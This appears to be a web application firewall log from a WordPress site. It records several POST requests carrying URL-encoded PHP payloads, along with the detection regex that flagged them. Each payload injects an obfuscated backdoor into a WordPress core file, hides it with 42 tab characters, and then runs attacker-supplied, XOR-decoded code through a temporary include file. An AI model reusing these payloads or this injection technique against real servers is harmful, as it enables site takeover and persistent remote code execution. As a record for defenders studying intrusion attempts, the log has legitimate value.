%2524restore_state1%2528%2524data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state2%2529%2529%2520%257B%2520print%2520%2524restore_state2%2528%2524data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state3%2529%2529%2520%257B%2520%2524restore_state3%2528%2524data%252C%2520%2524token_descriptor%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524token_descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state4%2529%2529%2520%257B%2520%2524restore_state4%2528%2524data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state5%2529%2520%2526%2526%2520function_exists%2528%2524restore_state6%2529%2520%2526%2526%2520function_exists%2528%2524restore_state7%2529%2529%2520%257B%2520%2524sym_flg%2520%253D%2520%2524restore_state5%2528%2524data%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524sym_flg%2529%2520%257B%2520%2524marker_reference%2520%253D%2520%2524restore_state6%2528%2524sym_flg%2529%253B%2520%2524restore_state7%2528%2524sym_flg%2529%253B%2520print%2520%2524marker_reference%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 22:54:52","163.172.31.86","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IO:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-term-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522d%255Cx61%255Cx74%2522%252C%2520%2524_REQUEST%2529%2529%257B%2520%2524flag%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522d%255Cx61%255Cx74%2522%255D%2529%253B%2520%2524ref%2520%253D%2520%2527%2527%2520%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524flag%2529%2529%257B%2524ref%2520.%253D%2520chr%2528ord%2528%2524flag%255B%2524e%255D%2529%2520%255E%25206%2529%253B%2524e%252B%252B%253B%257D%2520%2524flg%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520while%2520%2528%2524value%2520%253D%2520array_shift%2528%2524flg%2529%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524value%2529%2520%252A%2520is_writable%2528%2524value%2529%2529%2529%2520%257B%2520%2524obj%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524value%252C%2520%2522.entity%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524obj%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524ref%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524obj%253B%2520%2540unlink%2528%2524obj%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFH8vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3972\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\n\nIO=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-term-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522d%255Cx61%255Cx74%2522%252C%2520%2524_REQUEST%2529%2529%257B%2520%2524flag%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522d%255Cx61%255Cx74%2522%255D%2529%253B%2520%2524ref%2520%253D%2520%2527%2527%2520%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524flag%2529%2529%257B%2524ref%2520.%253D%2520chr%2528ord%2528%2524flag%255B%2524e%255D%2529%2520%255E%25206%2529%253B%2524e%252B%252B%253B%257D%2520%2524flg%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520while%2520%2528%2524value%2520%253D%2520array_shift%2528%2524flg%2529%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524value%2529%2520%252A%2520is_writable%2528%2524value%2529%2529%2529%2520%257B%2520%2524obj%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524value%252C%2520%2522.entity%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524obj%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524ref%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524obj%253B%2520%2540unlink%2528%2524obj%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:55:41","101.100.3.213","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> EY:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-term-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522d%255Cx61%255Cx74%2522%252C%2520%2524_REQUEST%2529%2529%257B%2520%2524flag%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522d%255Cx61%255Cx74%2522%255D%2529%253B%2520%2524ref%2520%253D%2520%2527%2527%2520%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524flag%2529%2529%257B%2524ref%2520.%253D%2520chr%2528ord%2528%2524flag%255B%2524e%255D%2529%2520%255E%25206%2529%253B%2524e%252B%252B%253B%257D%2520%2524flg%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520while%2520%2528%2524value%2520%253D%2520array_shift%2528%2524flg%2529%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524value%2529%2520%252A%2520is_writable%2528%2524value%2529%2529%2529%2520%257B%2520%2524obj%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524value%252C%2520%2522.entity%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524obj%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524ref%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524obj%253B%2520%2540unlink%2528%2524obj%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEIxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3972\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\n\nEY=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-term-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522d%255Cx61%255Cx74%2522%252C%2520%2524_REQUEST%2529%2529%257B%2520%2524flag%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522d%255Cx61%255Cx74%2522%255D%2529%253B%2520%2524ref%2520%253D%2520%2527%2527%2520%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524flag%2529%2529%257B%2524ref%2520.%253D%2520chr%2528ord%2528%2524flag%255B%2524e%255D%2529%2520%255E%25206%2529%253B%2524e%252B%252B%253B%257D%2520%2524flg%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520while%2520%2528%2524value%2520%253D%2520array_shift%2528%2524flg%2529%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524value%2529%2520%252A%2520is_writable%2528%2524value%2529%2529%2529%2520%257B%2520%2524obj%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524value%252C%2520%2522.entity%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524obj%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524ref%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524obj%253B%2520%2540unlink%2528%2524obj%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:55:43","62.210.185.4","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ZR:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-term-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522d%255Cx61%255Cx74%2522%252C%2520%2524_REQUEST%2529%2529%257B%2520%2524flag%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522d%255Cx61%255Cx74%2522%255D%2529%253B%2520%2524ref%2520%253D%2520%2527%2527%2520%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524flag%2529%2529%257B%2524ref%2520.%253D%2520chr%2528ord%2528%2524flag%255B%2524e%255D%2529%2520%255E%25206%2529%253B%2524e%252B%252B%253B%257D%2520%2524flg%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520while%2520%2528%2524value%2520%253D%2520array_shift%2528%2524flg%2529%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524value%2529%2520%252A%2520is_writable%2528%2524value%2529%2529%2529%2520%257B%2520%2524obj%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524value%252C%2520%2522.entity%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524obj%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524ref%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524obj%253B%2520%2540unlink%2528%2524obj%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJyVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3972\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\n\nZR=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-term-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522d%255Cx61%255Cx74%2522%252C%2520%2524_REQUEST%2529%2529%257B%2520%2524flag%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522d%255Cx61%255Cx74%2522%255D%2529%253B%2520%2524ref%2520%253D%2520%2527%2527%2520%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524flag%2529%2529%257B%2524ref%2520.%253D%2520chr%2528ord%2528%2524flag%255B%2524e%255D%2529%2520%255E%25206%2529%253B%2524e%252B%252B%253B%257D%2520%2524flg%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520while%2520%2528%2524value%2520%253D%2520array_shift%2528%2524flg%2529%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524value%2529%2520%252A%2520is_writable%2528%2524value%2529%2529%2529%2520%257B%2520%2524obj%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524value%252C%2520%2522.entity%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524obj%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524ref%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524obj%253B%2520%2540unlink%2528%2524obj%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
